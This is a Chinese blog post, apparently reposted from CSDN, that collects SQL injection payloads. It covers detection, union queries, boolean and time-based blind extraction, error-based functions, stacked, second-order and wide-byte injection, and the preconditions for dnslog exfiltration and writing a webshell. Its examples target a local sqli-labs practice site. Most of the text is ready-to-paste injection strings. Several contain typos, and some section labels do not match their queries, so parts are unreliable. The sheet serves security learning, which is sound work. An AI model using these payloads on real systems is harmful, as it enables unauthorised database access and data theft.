【网络安全】sql注入语法汇总

目录

一、原理

二、SQL注入判断方法

1.字符型检测

2.数字型检测

3.搜索型检测和xx型检测

三、union注入

1.order by判断列数

2.union 联合查询

四、盲注

1.布尔盲注

(1)查询数据库长度

(2)查询当前数据库名称

(3)查询数据库下有多少表

(4)查询数据库下表名第一位

(5)查询数据库下表中有多少个字段

(6)判断数据库下表中的第一个字段的长度

(7)查询数据库下表里面的第一个字段的第一位是多少

(8)得到字段探测第一条数据

2.时间盲注

(1)判断是否存在延迟函数

(2)查询当前数据库的长度,如果正确那么就延迟5秒

(3)判断当前数据库名第一位是否为a

(4)判断当前数据库名第一位ascii是否为100

(5)查询表数量

(6)查询表名长度

(7)截取表名第一位

(8)查询列字段数量

(9)查询列名长度

(10)截取列名第一位

(11)查询id第一条数据的长度

(12)获取数据信息内容

五、报错注入

(1)floor()

(2)extractvalue()

(3)updatexml()

(4)geometrycollection()

(5)multipoint()

(6)polygon()

(7)multipolygon()

(8)linestring()

(9)multilinestring()

(10)exp()

六、堆叠注入

七、二次注入

(1)插入恶意数据

(2)引用恶意数据

八、宽字节注入

(1)原理

(2)条件

九、dnslog注入

(1)条件

十、请求头注入

十一、SQL注入写入webshell

十二、总结


一、原理

  所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
  SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

二、SQL注入判断方法

1.字符型检测

字符型判断url是否存在注入,在url栏的网址上添加一个单引号

url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1’

会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23一个注释符后会正常显示。

当我们在url栏网址的单引号后面输入and 1=1 时页面显示正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1#

当我们把1=1换成1=2时页面报错

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2#

2.数字型检测

直接输入and 1=1查看。

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1

发现是可以正常显示页面的,那么我们在进一步判断1=2时。

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2

发现页面有变化,那么就可以判断他是一个数字型的注入,因为数字型的注入是不用加引号的。就类似于int一样。

3.搜索型检测和xx型检测

这个说白了就是字符型检测的一种,只是需要根据不同的报错信息进行构造闭合

三、union注入

1.order by和报错注入

select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

2.union 联合查询

?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+

四、盲注

1.布尔盲注

(1)查询数据库长度

and (length(database()))>8%23

(2)查询当前数据库名称

and (ascii(substr(database(),1,1)))<120 %23

(3)查询数据库下有多少表

and (select count(*) from information_schema.tables where table_schema='数据库名')>4 %23

(4)查询数据库下表名第一位

and  (length((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1)))=6%23

(5)查询数据库下表中有多少个字段

and  (ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))>100)%23

(6)判断数据库下表中的第一个字段的长度

and  (length((select column_name from information_schema.columns where table_schema='数据库名称' and table_name='表名' limit 0,1)))=2%23

(7)查询数据库下表里面的第一个字段的第一位是多少

and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23

(8)得到字段探测第一条数据

and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=68 %23

2.时间盲注

(1)判断是否存在延迟函数

and sleep(5) %23

(2)查询当前数据库的长度,如果正确那么就延迟5秒

and if((length(database()))>7,sleep(5),1) --+

(3)判断当前数据库名第一位是否为a

and if((substr(database(),1,1)='a'),sleep(5),1)  %23

(4)判断当前数据库名第一位ascii是否为100

and if((ascii(substr(database(),1,1))=100),sleep(5),1)  %23

(5)查询表数量

and if((select count(*) from information_schema.tables where table_schema='数据库名称')=4,sleep(5),1)%23

(6)查询表名长度

and if((select length((select table_name from information_schema.tables where table_schema='数据库名' limit 3,1))=5),sleep(5),1)%23

(7)截取表名第一位

and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=117,sleep(5),1)%23

(8)查询列字段数量

and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=3),sleep(5),1)%23

(9)查询列名长度

and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=2),sleep(5),1)%23

(10)截取列名第一位

and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105,sleep(5),1)%23

(11)查询id第一条数据的长度

and if((select length((select id from 表名  limit 0,1)))=1,sleep(5),1)%23

(12)获取数据信息内容

and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=49,sleep(5),1)%23

五、报错注入

(1)floor()

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

(2)extractvalue()

select * from 数据库名 where id=1 and (extractvalue(1,concat(0x7e,(select 表名()),0x7e)));

(3)updatexml()

select * from 数据库名 where id=1 and (updatexml(1,concat(0x7e,(select 表名()),0x7e),1));

(4)geometrycollection()

select * from 数据库名where id=1 and geometrycollection((select * from(select * from(select 表名())a)b));

(5)multipoint()

select * from 数据库名 where id=1 and multipoint((select * from(select * from(select 表名())a)b));

(6)polygon()

select * from 数据库名 where id=1 and polygon((select * from(select * from(select 表名())a)b));

(7)multipolygon()

select * from 数据库名 where id=1 and multipolygon((select * from(select * from(select 表名())a)b));

(8)linestring()

select * from 数据库名 where id=1 and linestring((select * from(select * from(select 表名())a)b));

(9)multilinestring()

select * from 数据库名 where id=1 and multilinestring((select * from(select * from(select 表名())a)b));

(10)exp()

select * 数据库名 test where id=1 and exp(~(select * from(select 表名())a));

六、堆叠注入

原理:堆叠注入的原理 :  mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

例如

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

七、二次注入

二次注入,可以概括为以下两步:


(1)插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

(2)引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

八、宽字节注入

(1)原理

当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。

(2)条件

Ⅰ:数据库查询设置为GBK编码
Ⅱ:使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数

九、dnslog注入

(1)条件

mysql.ini中secure_file_priv必须为空
secure_file_priv 为null 不允许导入导出
secure_file_priv 为/tmp 导入导出只能在/tmp目录下
secure_file_priv 为空时 则不做限制允许导入导出

十、SQL注入写入webshell

(1)条件

Ⅰ:当前sql注入用户必须为DBA权限(--is-dba为true)

Ⅱ:需要知道网站的绝对路径

Ⅲ:My.ini文件中的这项配置secure_file_priv=””为空

十一、总结

总结了很久的资料,希望各位技术友可以读完。

猜你喜欢

转载自blog.csdn.net/weixin_50481708/article/details/125650253